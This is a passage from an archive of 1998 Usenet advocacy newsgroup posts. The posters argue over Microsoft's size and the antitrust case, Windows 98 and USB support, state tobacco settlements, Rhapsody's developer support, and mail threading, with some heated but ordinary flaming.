month or so though they were delayed in shipping to customers a bit at
first.
-Bob Cassidy
From: tsmurphy@cs.uiuc.edu (TERENCE MURPHY)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 7 May 1998 19:51:28 GMT
Organization: University of Illinois at Urbana-Champaign
Message-ID: <6it3c0$hhd$1@vixen.cso.uiuc.edu>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <355d5b06.148323868@news.nai.net> <6iqe3d$q5e$1@vixen.cso.uiuc.edu> <355675d5.21298876@news.nai.net>
In article <355675d5.21298876@news.nai.net>,
Perry.Fecteau@Republican.COM <perfecto@ct2.nai.net> wrote:
>On 6 May 1998 19:36:13 GMT, tsmurphy@cs.uiuc.edu (TERENCE MURPHY)
>wrote:
>
>>In article <355d5b06.148323868@news.nai.net>,
>>Perry.Fecteau@Republican.COM <perfecto@ct2.nai.net> wrote:
>>
>>>that may not have anything to do with anything but microsoft is but a
>>>spec of dust on the nuts of companies like GE, exxon, ibm, phillip
>>>morris, at&t, etc..
>
>>At over $200,000,000,000 Microsoft has the second biggest market
>>value (only behind GE) of any company in the world.
>
>high market value because the stock is overvalued. take a look at
>earnings.
Only fourteen companies have higher profits than Microsoft, and only
two are more than double theirs. They also have the highest growth
rate of anybody in the top 25, and the highest profits/revenue ratio
in the world. Smaller? Of course. A speck of dust? You wish.
Cheers,
Terry Murphy
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Thu, 07 May 1998 14:52:40 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <35521108.667D@CONVEX.COM>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in9be$jdd$1@inconnu.isu.edu> <6iooms$clv$1@ligarius.ultra.net> <joe.ragosta-0605980812110001@wil124.dol.net> <6iq0ur$kkh$1@strato.ultra.net> <see-below-0705980451160001@209.24.240.68> <6it38j$fhc$1@gte2.gte.net>
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Roger wrote:
>
> No, Win98 is OSR2+multiple monitors without special drivers+a
> different driver model which makes it easier for an OEM to develop one
> driver for both 98 and NT+USB support standard+a utility to safely
> convert to a FAT32 environment+and improved defragmenter+a wizard
> which can recommend steps to optimize your system based on your
> usage+a wizard which can keep you apprised of updates / patches to the
> OS or it's utilities+the testing required to make sure all the above
> works reasonably well on a wide variety of hardware, new and
> not-so-new
>
> and a new name and price.
>
> On Thu, 07 May 1998 04:51:16 -0700, someone claiming to be Matthew
> Vaughan wrote:
>
> >I don't understand what you're saying here. Basically, you're saying that
> >Windows 98 _is_ OSR2, except that it's been tested on a lot of hardware?
> >So what would be the difference? The only difference I can see is the name
> >and the price.
I find it odd but unsurprising that the same Mac people who defended the
renaming of the bugfix System 7.7 to MacOS 8 (and the slogan "what a
difference 8 makes") are now criticizing Windows 98 for its name and
price.
Wow.
MJP
From: jrudd@cygnus.com (John Rudd)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 7 May 1998 19:53:04 GMT
Organization: Cygnus Solutions
Message-ID: <6it3f0$n71$1@cronkite.cygnus.com>
References: <6icrin$6ra@newsb.netnews.att.com> <354E1312.20EA@CONVEX.COM>
<6illkc$em7$2@cronkite.cygnus.com> <6imlnj$nkm$2@ns3.vrx.net>
<6injcb$bk4$1@crib.bevc.blacksburg.va.us> <6in6mv$3of$4@ns3.vrx.net>
<geordie-0505981708370001@130.130.117.53> <usomn71tm.fsf@ai.mit.edu>
<6iqsv5$h86$2@cronkite.cygnus.com> <us5zpgut1yo.fsf@ai.mit.edu>
<us5sommt0dd.fsf@ai.mit.edu>
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Cc: portnoy@ai.mit.edu
In <us5sommt0dd.fsf@ai.mit.edu> Stephen Peters wrote:
> Stephen Peters <portnoy@ai.mit.edu> writes:
> > I've been noticing recently that more mailreaders are tacking on a
> > References: header to make mailing lists threadable, tracking the
> > Message-ID's in the thread.
>
> In fact, I'm pretty sure that NeXT's Mail.app does this (although that
> might only be when you add in the EnhanceMail bundle).
>
>
*Sheepish look* Ohmygod.. it does... it's one of my hidden headers.
So, if you're using one of the more modern mail readers, _and_ so are all of
the people you talk to, you can thread your email. _BUT_ it only takes one
person who replies to a message from an un-aware mail reader to break the
thread into two threads.
I guess that _does_ justify "mostly threadable" though. :-}
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball pistols
the backward in \in shoulder rigs. Who cares if you win the game as long
backward compatible\as you can John Woo as you dive over obstacles?" - anon
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Thu, 07 May 1998 15:24:46 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <3552188E.471E@CONVEX.COM>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net>
<6in44d$jt3@bgtnsc01.worldnet.att.net> <6iomt2$bac$1@ligarius.ultra.net>
<6isqdb$pa4$1@interport.net> <6isudr$39$1@interport.net> <6it4lv$n71$2@cronkite.cygnus.com>
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John Rudd wrote:
[cut]
> Nothing but good can come from hurting MS and those who blindly follow them.
> Period.
I just started a kill-file. You're the first member.
MJP
From: jrudd@cygnus.com (John Rudd)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 7 May 1998 20:13:51 GMT
Organization: Cygnus Solutions
Message-ID: <6it4lv$n71$2@cronkite.cygnus.com>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net>
<6in44d$jt3@bgtnsc01.worldnet.att.net> <6iomt2$bac$1@ligarius.ultra.net>
<6isqdb$pa4$1@interport.net> <6isudr$39$1@interport.net>
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Cc: float@interport.net
In <6isudr$39$1@interport.net> float@interport.net wrote:
> float@interport.net wrote:
> : John Saunders (jws@jws.ultranet.com) wrote:
>
> : : By now, most of these USB-peripheral
> : : vendors know their hardware works with Windows 98, and they've probably
> : : begun promoting their new stuff. But, wait: here comes the Government
to
> : : blow away the market for your USB product. Not fun.
>
> : Well, they can sell to purchasers of the iMac, the new $1299
> : appliance-style Macintosh to be rolled out in August.
>
> Or to PC owners whose OS vendors don't get held up in court.
>
> Sorry for following up on my own post like that.
>
Not to mention that there is absolutely NOTHING preventing those vendors from
shipping their own drivers with their products, or MS making a "USB patch"
available for ftp/http download.
The notion that holding up Win98 will cause USB vendors harm is ludicrous.
MS and those vendors aren't willing to find a "work around" until the legal
situation is resolved, and _THAT_ will cause them harm. The harm comes from
their lack of initiative to adapt, and being more interested in whining about
not getting their way because they know people tend to be more sympathetic
these days to those being targeted by the government. Other than that, this
whole claim of the industry being harmed is pure and utter BS.
The industry can, and should, adapt and evolve. MS is not the "be all, end
all" of _ANY_ sector of the computer industry. People are willing to switch
car brands when one manufacturer lags behind, why aren't they willing to do
the same with computers? (because of a lack of compatability between
vendors? no, if that was an issue, they'd actually care about open standards
and forcing MS to play in an open standards world..but they obviously don't
care about that -- every time MS creates a new closed version of some open
technology, they praise MS... twits..).
MS and MS Advocates <-- big load of whiners.
They're upset that they've let themselves be lead like bulls by the nose ring
down a narrow chute.. and now that they find what's ahead is a slaughter
house instead of a pasture, they're blaming the butchers for doing their job
(cutting up monopolies that are abusing their monopoly status)... instead of
correctly blaming the people who pulled on the nose ring (MS, clueless
consultants who advocate MS technologies over superior technologies, business
admin people who no nothing about computers but enforce their ignorance onto
purchasing decisions, etc).
If you had forced MS to embrace open standards that allow competition, you
wouldn't be forced to wait for MS to get out from under the thumb of the law.
You'd have more compatable alternatives. You'd have more stability. You'd
have faster adoption of improved technologies. You'd have _CHOICES_. And
you'd have clout with your vendors who would rather whine than take action
(like shipping the drivers and patches themselves), because you could tell
them to piss off while you go with another solution.
Nothing but good can come from hurting MS and those who blindly follow them.
Period.
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball pistols
the backward in \in shoulder rigs. Who cares if you win the game as long
backward compatible\as you can John Woo as you dive over obstacles?" - anon
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 8 May 1998 03:15:58 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6iucgm$otf$1@strato.ultra.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in626$6cm$1@new-news.cc.brandeis.edu> <6iomt3$bac$2@ligarius.ultra.net> <joe.ragosta-0605980807060001@wil124.dol.net> <6ipuo9$606$3@strato.ultra.net> <rmcassid-0605981131360001@dante.eng.uci.edu>
Robert Cassidy wrote in message ...
>In article <6ipuo9$606$3@strato.ultra.net>, "John Saunders"
><jws@jws.ultranet.com> wrote:
>
>>And what happens when the laws are bad ones? Or have unpleasant
>>side-effects? Nothing, usually. We don't elect people to fix unpleasant
>>side-effects, so the rarely get fixed.
>
>You're a real idiot. Do you vote for judges? Do you vote for district
>attorneys? District Attorneys pursue to uphold the laws, judges determine
>if the laws are worthy of upholding. Your legislators think up new laws
>that later get hammered on by the first two. You participate in the
>*whole* process. If you don't like a law, file a lawsuit and try to have
>it reversed. It does happen. Several of California's propositions were
>deemed unconstitutional and overturned as a result of lawsuits.
>
I vote for state Attourneys Generals who now have a new tool in their
re-election arsenal. They can now talk about how they fought "Big Tobacco"
and won Big Bucks. I'm concerned they will do the same to Microsoft. I hope
they will not.
By the way, if you understood the process, you'd realize how many of the
other voters will not have any problem at all with the fact that their state
AG won Big Bucks from Bad Tobacco. They'll see that as a Good Thing and will
vote accordingly. I was concerned that the AGs might do the same with
Microsoft and start a bad habit (extortion). Hopefully, that won't happen.
I'm especially encouraged by the polling that's been done lately, which
suggests people might not put Microsoft in the same category as Big Tobacco.
Maybe the AGs will actually have to bring anti-trust cases to court.
John Saunders
jws@jws.ultranet.com
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 8 May 1998 03:29:02 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6iucgn$otf$2@strato.ultra.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in626$6cm$1@new-news.cc.brandeis.edu> <6iomt3$bac$2@ligarius.ultra.net> <joe.ragosta-0605980807060001@wil124.dol.net> <6ipuo9$606$3@strato.ultra.net> <6iss6o$r4k$1@interport.net> <6itule$pc3$3@ligarius.ultra.net> <6iu283$qsv$1@interport.net>
float@interport.net wrote in message <6iu283$qsv$1@interport.net>...
>John Saunders (jws@jws.ultranet.com) wrote:
>: float@interport.net wrote in message <6iss6o$r4k$1@interport.net>...
>: >John Saunders (jws@jws.ultranet.com) wrote:
>: >
>: >: I don't know of any recent cases of selective enforcement due to the
>: >: popularity of the defendent.
>: >
>: >O.J. Simpson?
>
>: Oh, come on! A jury found him not guilty. You and I know he was guilty,
but
>: I think if we believe in the rule of law, we have to permit juries to
make
>: decisions we don't agree with.
>
>I don't 'know' he was guilty. I suspect he was. I didn't say I didn't
>think the verdict should be allowed to stand. But that wasn't the
>question: you said you "don't know of any recent cases of selective
>enforcement due to the popularity of the defendant", and I submit his was
>such a case.
>
Ok, I just don't think that a jury coming to a verdict is "enforcement".
"Selective Enforcement" as I meant it is what a judge might do after the
jury comes to a guilty verdict. It could also be a DA deciding not to bring
a case to trial because of the popularity of the defendent. These are the
kind of thing I was looking for an example of.
>: >: Joe, my concern is that this business of the states ganging up to
extort
>: >: money is new.
>: >
>: >Whaaaat? Who asked for money?
>
>: A lot of people didn't get my point, so I will assume I did a bad job of
>: making my point.
>
>: The states ganged up on the tobacco companies for the purpose of
extortion.
>
>That's very emotionally loaded language. I don't disagree with the
>denotation, I just want to point out that you are doing quite a bit of
>connotation.
>
I see no distinction between what the states did and what an extortionist
does. They made a serious threat, then said the threat could be averted by
paying them. If an individual did that, wouldn't we call it extortion?
>: Note that it was not for the purpose of "enforcing the law", since there
>: were no trials.
>
>Trials are not the only way laws are enforced in America. Many times, the
>mere threat of legal action is enough to bring wrongdoers to heel
>(rightdoers too, unfortunately). There is arbitration and mediation as
>well.
This case was neither. It was extortion.
How does this differ at all from extortion? Is it soley in the fact that we
presume that if we had proceeded to trial, the states stood a good chance of
winning anyway?
>: The "extortion" consisted in threatening to take the tobacco
>: companies to trial, then requiring the tobacco companies to pay big bucks
to
>: keep from having the threat carried out.
>
>Yes. You put your own term in scare quotes! This action is completely
>consistent with the laws of the land. Big tobacco got caught lying and
>cheating, and is being made to pay the price. Nothing wrong with that.
>
What are "scare" quotes? I'd have put it in italics if I'd thought about it.
I was pointing out the term I was defining.
The fact of "being caught lying and cheating" should have been brought to a
trial. It should not have been used to extort money.
>: My concern, based on what I was reading about the states working together
>: with the DOJ, was that the states were going to try to do it again.
>
>What's the big deal? You think corporations should be allowed to run
>roughshod over our rights, and our duly elected governments shouldn't be
>allowed to stop them? I'm afraid I still don't understand what your
>concern is. I'm not flame-baiting you, I really don't understand why you
>are so upset.
>
Bring the guilty to trial. Don't extort money from them by the threat of
bringing them to trial. Absolutely don't threaten them with bring brought to
trial 50 times!!!
>: It's been pointed out to me that the states might still do the right
thing
>: (not sue). As a result, I'm willing to wait and see what happens.
>
>A few paragraphs ago you had great faith in our legal system as applied to
>O.J. Simpson, what made you dislike it all of a sudden?
>
What are you talking about? I had no such faith. I said that if we're
going to live in a land with a jury system, then we have to be prepared to
accept a jury's verdict, that's all.
And my whole point here comes down to my fear that the Microsoft case will
not be seen by a jury any more than the Tobacco case was. I'll respect a
jury's verdict on Microsoft or on Tobacco, not because I think juries are
some magical entity (I've served on one, so I know), but because we have no
real choice but to respect a jury's verdict - whether or not we agree with
it.
>--
>
> Ben
>
><Just Another System Administrator>
John Saunders
jws@jws.ultranet.com
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 7 May 1998 20:38:27 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6it643$em2@newsb.netnews.att.com>
References: <6ipuoa$606$4@strato.ultra.net> <6ipvus$s9i@shelob.afs.com> <6ir7p2$nt$2@ligarius.ultra.net>
Originator: gupta@tlctest
John Saunders <jws@jws.ultranet.com> wrote:
>
>Gregory,
>
>I mentioned USB mostly because of what I read in the papers - that USB
>vendors have been waiting for Windows 98 to exist before beginning their
>push to launch their products. I have no clue how many newer machines
>support USB. I know my laptop does not, but I also know it can use a dock
>which does.
http://www.techweb.com/se/directlink.cgi?EET19971208S0059
dated December 8, 1997, titled
"USB peripherals promise ease of use -- Universal Serial Bus
living upt to its name"
has a whole lot about USB, including
that about 70% of the PCs are shipping with USB, but nothing
about Windows 98 or anything about shipping USB peripherals
conditional on Windows 98.
http://www.techweb.com/se/directlink.cgi?WIN19971101S0128
dated November 1, 1997, titled "The Bus Arrives -- the first USB peripherals"
says : "Now the USB has finally arrived, with the first wave of
peripherals hitting the streets. And you don't have to
wait for Windows 98 to use USB - you can start taking
advantage of these products right away.
Also, mentioned in the article is something that would go with
what's written above :
Last spring, we described the USB standard ... At that time
most PC vendors were already shipping USB-ready desktop
computers. Now, USB ports are becoming widely available
on notebooks as well. However, peripheral vendors have
been slow to exploit the standard. Although Microsoft
implemented USB software support for Windows 95 in late 1996,
USB is still considered a Windows 98 phenomenon.
***
So,
a. there are a lot of machines out there that support USB.
b. Windows 98 is not necessary.
c. Vendors can still push their peripherals even if Windows 98
becomes Windows 99.
-arun gupta
From: Dave Griffiths <dgriffit@acorn.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: Fri, 08 May 1998 11:53:05 +0100 (BST)
Organization: Acorn Computers Ltd, Cambridge, United Kingdom
Message-ID: <ant0810050b0LJLo@om107.acorn.co.uk>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net> <6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM> <6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM> <6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net> <6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com> <354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com> <6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us> <6in6mv$3of$4@ns3.vrx.net> <6inu0b$cet$1@crib.bevc.blacksburg.va.us> <6infcq$c0h$6@ns3.vrx.net> <1d8kucf.12204btjdfhlmN@roxboro0-036.dyn.interpath.net> <6ip7tl$oum$7@ns3.vrx.net> <1d8lw3a.1br6d9716oa6kgN@roxboro0-062.dyn.interpath.net> <6iqsmp$h86$1@cronkite.cygnus.com> <6irrnu$r1i$1@ns3.vrx.net> <1d8nl27.1biqyk61nk71kqN@roxboro0-028.dyn.interpath.net> <6isc63$9ih$2@ns3.vrx.net> <1d8ny3o.1pmrnv4cizmb5N@roxboro0-028.dyn.interpath.net> <35520F22.1486@CONVEX.COM> <1d8o1xu.1yrqi911iuxkv7N@roxboro0-028.dyn.interpath.net>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
In article <1d8o1xu.1yrqi911iuxkv7N@roxboro0-028.dyn.interpath.net>,
John Moreno <URL:mailto:phenix@interpath.com> wrote:
> I DON'T pretend to own comp.sys.next.advocacy - I do pretend to own my
> mailbox. And yes I did invite them to my mailbox, that was kinda the
> point you know.
Why should the fact that one is private and one public make any difference
to the tool that you use to browse them? Presumably you don't use one editor
to view files in your home directory and another editor to view files on an
NFS server.
The separation between news and mail is merely a historical accident. If we
were starting over we'd integrate them. And wouldn't it be cool to have a
variety of mail aliases (like private newsgroups) instead of having to rely
on stuff like procmail to sort it for you (which is not an option for some
of us).
Dave
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 8 May 1998 10:36:51 GMT
Organization: P & L Systems
Message-ID: <6iun83$4f3$9@ironhorse.plsys.co.uk>
References: <6i2b0h$bll$16@ironhorse.plsys.co.uk> <B17793F8-48348@207.217.155.113>
Mime-Version: 1.0
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Cc: brad@hutchings-software.com
In <B17793F8-48348@207.217.155.113> "Brad Hutchings" wrote:
> >> Me
> > mmalc
>
> >> Or you ccould divide by the number of "Top 100" developers who have
> >> embraced Rhapsody. Oh wait, you can't do that...
> >>
> >Why not?
>
> Doesn't that result in a processor-level exception?
>
Why should it?
> Which of the "Top 100 developers" that Steve Jobs referred to at the
> shareholders meeting are actively developing Rhapsody products?
>
Don't know, don't particularly care. I do know that there are over 100
developers developing for Rhapsody (no, I'm not going to list them).
> Bear in
> mind: for any of them to be doing Rhapsody development, we're talking about
> project budgets in the several-hundred-thousand dollar range, MINIMUM.
>
Why? It's perfectly possible to do Rhapsody development with lower budgets
than that. Or why was everyone wailing about increases in Developer Program
charges. If all these people had multi-k dolar budgets, $500 would be lost
in the noise.
> Rhapsody developers: this is a problem for you that I've seen in a previous
> game. Apple can send people to brief and preach all it wants, but the top
> developers aren't going to start porting projects unless and until such
> projects make a great deal of financial sense.
>
WWDC will show why it makes sense to the big boys.
> Rhapsody is in an
> environment very similar to where OpenDoc was in the fall of 1996.
>
Not at all: Rhapsody makes sense and works.
> Promising, but unsupported.
>
Look at WWDC -- you're wrong.
> Apple's future, but no critical mass of developers.
>
Drivel.
> If you want your products to have a context, you need to
> convince bigger players to support that context. Next week is a great
> opportunity to do that!!
>
No kidding. Gosh, thanks for your dynamic insight.
mmalc.
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 06 May 1998 16:48:41 -0700
Organization: UC Irvine
Message-ID: <rmcassid-0605981648410001@dante.eng.uci.edu>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <355d5b06.148323868@news.nai.net> <6iqe3d$q5e$1@vixen.cso.uiuc.edu> <6iqn5r$r7s$1@news.xmission.com> <6iqoag$9jf$1@vixen.cso.uiuc.edu>
In article <6iqoag$9jf$1@vixen.cso.uiuc.edu>, tsmurphy@cs.uiuc.edu
(TERENCE MURPHY) wrote:
>MSFT's P/E is only about 3.5x that of MO. And if you consider the
>future outlook of MO (increasing tobacco legislation, decreasing
>attraction of of smoking, etc.) vs. that of Microsoft (especially with
>regards to their Internet presence), it is not _that_ ridiculous.
The number of smokers in the US is a piddly market compared to worldwide
sales. I have seen the future of Philip Morris, and it is China...
-Bob Cassidy
From: "Brad Hutchings" <brad@hutchings-software.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 7 May 98 16:27:26 -0700
Organization: EarthLink Network, Inc.
Message-ID: <B177917C-3EDD9@207.217.155.113>
References: <6i1ghg$1kn$2@ns3.vrx.net>
Mime-Version: 1.0
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nntp://news.earthlink.net/comp.sys.next.advocacy
>> Lawson
> Maury
>> Let's not forget that Netscape committed publicly to OpenDoc
>
> Uggg, again with the "public commitments". Here I will publically comit
to
>Java in my calculator. There, see the difference? What, you can't
either?
The difference here is that when Netscape committed, Apple also (at least
tacitly) agreed to stop development of the HTML viewer part in Cyberdog.
That's according to a former Cyberdog team member who recently expressed
the disappointment of the team at the time over that decision.
It's one of the reasons I'm not surprised that Netscape has to go crying to
Janet Reno over Microsoft eating its lunch. Netscape has a track record of
not following through. How bout that JavaGator?
>> > Rhapsody currently has the support of exactly zero first-tier
>> > industry partners.
>
> OpenDoc has the support of exactly zero first-tier industry partners.
Once
>again I'm left searching for any real difference.
Rhapsody hasn't been cancelled yet :). Steve Jobs hasn't called it crap yet
:).
> I'll tell you one difference, _I'm_ supporting OpenStep. And as it
turns
>out, I'm pretty ok at it too. If they don't want to support it fine, I
have
>no such problems.
Yeah, I've been there with a different technology. You watch the top 100
developers that Jobs claims Apple is concentrating its efforts with. If
they don't buy it, it's not happening.
Here's an idea for Rhapsody developers: if you can get OpenStep running on
a laptop, bring it with you to WWDC, start picking out employees of those
top 100 developers, and show them how easy it is to create their products.
Apple is not going to do that for you!!
Brad
<mailto: "Brad Hutchings" brad@hutchings-software.com>
<http://www.hutchings-software.com>
Got OpenDoc? Got Cyberdog? Then try Rapid-I Button. Tried it? Then buy it!
Point your Cyberdog to the Hutchings Software web site.
From: "Brad Hutchings" <brad@hutchings-software.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 7 May 98 16:37:55 -0700
Organization: EarthLink Network, Inc.
Message-ID: <B17793F8-48348@207.217.155.113>
References: <6i2b0h$bll$16@ironhorse.plsys.co.uk>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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nntp://news.earthlink.net/comp.sys.next.advocacy
>> Me
> mmalc
>> Or you ccould divide by the number of "Top 100" developers who have
>> embraced Rhapsody. Oh wait, you can't do that...
>>
>Why not?
Doesn't that result in a processor-level exception?
Which of the "Top 100 developers" that Steve Jobs referred to at the
shareholders meeting are actively developing Rhapsody products? Bear in
mind: for any of them to be doing Rhapsody development, we're talking about
project budgets in the several-hundred-thousand dollar range, MINIMUM.
Rhapsody developers: this is a problem for you that I've seen in a previous
game. Apple can send people to brief and preach all it wants, but the top
developers aren't going to start porting projects unless and until such
projects make a great deal of financial sense. Rhapsody is in an
environment very similar to where OpenDoc was in the fall of 1996.
Promising, but unsupported. Apple's future, but no critical mass of
developers. If you want your products to have a context, you need to
convince bigger players to support that context. Next week is a great
opportunity to do that!!
Brad
<mailto: "Brad Hutchings" brad@hutchings-software.com>
<http://www.hutchings-software.com>
Got OpenDoc? Got Cyberdog? Then try Rapid-I Button. Tried it? Then buy it!
Point your Cyberdog to the Hutchings Software web site.
From: "Nevin \":-]\" Liber" <nevin@CS.Arizona.EDU>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Thu, 7 May 1998 19:20:23 -0500
Organization: University of Arizona
Message-ID: <6itjb5$hq0$1@nntp3.interaccess.com>
References: <6ip03a$di9$1@crib.bevc.blacksburg.va.us> <B1759745-221A2@206.165.43.102> <6iptqc$4f3$2@ironhorse.plsys.co.uk>
mmalcolm crawford wrote in message <6iptqc$4f3$2@ironhorse.plsys.co.uk>...
>"For volume/up down, I can more or less instantaneously hit something like
>PgUp/PgDown or Home/End or a couple of function keys. Much faster than I
can
>mouse down to a control strip, select a new volume or mute it, then move
>back."
The difference is, the control strip gives you direct visual feedback of the
action you perform. After using it to set the volume, I know exactly how
the volume is set. This is not as easily accomplished by function keys.
When mousing, your focus follows the mouse pointer to the correct place on
the screen to get that visual feedback, and visual feedback is much faster
than audio feedback. While it can be faster just to hit a certain
combination of keys on the keyboard (definitely if your keyboard has volume
control buttons on it), if you add in the time it takes you to be sure that
the volume is set where you intended, overall it may be slower.
--
Nevin ":-)" Liber <mailto:nevin@CS.Arizona.EDU> (847) 816-9660
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 8 May 1998 10:30:55 GMT
Organization: P & L Systems
Message-ID: <6iumsv$4f3$8@ironhorse.plsys.co.uk>
References: <6i1ghg$1kn$2@ns3.vrx.net> <B177917C-3EDD9@207.217.155.113>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Cc: brad@hutchings-software.com
In <B177917C-3EDD9@207.217.155.113> "Brad Hutchings" wrote:
> > OpenDoc has the support of exactly zero first-tier industry partners.
> > again I'm left searching for any real difference.
>
> Rhapsody hasn't been cancelled yet :). Steve Jobs hasn't called it crap yet
> :).
>
So, Rhapsody has two major advantages over OpenDOc already.
> Yeah, I've been there with a different technology. You watch the top 100
> developers that Jobs claims Apple is concentrating its efforts with. If
> they don't buy it, it's not happening.
>
I assure you Rhapsody is happening. Have you looked at the conference tracks
for WWDC yet?
> Here's an idea for Rhapsody developers: if you can get OpenStep running on
> a laptop, bring it with you to WWDC, start picking out employees of those
> top 100 developers, and show them how easy it is to create their products.
> Apple is not going to do that for you!!
>
Have a look at the conference tracks for WWDC.
You are wrong.
However your suggestion is a good one: we have been demoing OPENSTEP, on
laptops and on desk systems, and clients are seriously impressed at how easy
it is to create applications.
mmalc.
Message-ID: <3553A611.7079@sengles.dircon.co.uk>
Date: Sat, 09 May 1998 01:40:49 +0100
From: Mike Engles <mike@sengles.dircon.co.uk>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.ms-windows.advocacy
Subject: Re: Byte deletes binaries and puts up apple tweaked binary???
References: <6iovd2$f0c$2@newsfep3.sprintmail.com> <djboccip-0605981023060001@tnt3-132.hiwaay.net> <6iqgj0$p4t$1@newsfep1.sprintmail.com> <joe.ragosta-0605981644420001@wil107.dol.net>
Content-Type: text/plain; charset=us-ascii
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Joe Ragosta wrote:
>
> In article <6iqgj0$p4t$1@newsfep1.sprintmail.com>, macghod@concentric.net wrote:
>
> > In <djboccip-0605981023060001@tnt3-132.hiwaay.net> Dr. Dennis J. Boccippio
> > wrote:
>
> > > Evidence for tweaking?
> >
> > 1) APple already admitted on their web page that the results of the twice as
> > fast tests were done by apple engineers in Apples lab. Since the binaries AT
> > THAT TIME on bytes web page gave results that were almost half as slow as
> > what apple got, I think this is a good inference. If it were intel and not
> > APple, I am sure you would conclude the same thing
>
> Nonsense. The data that Apple published in their ad was identical to the
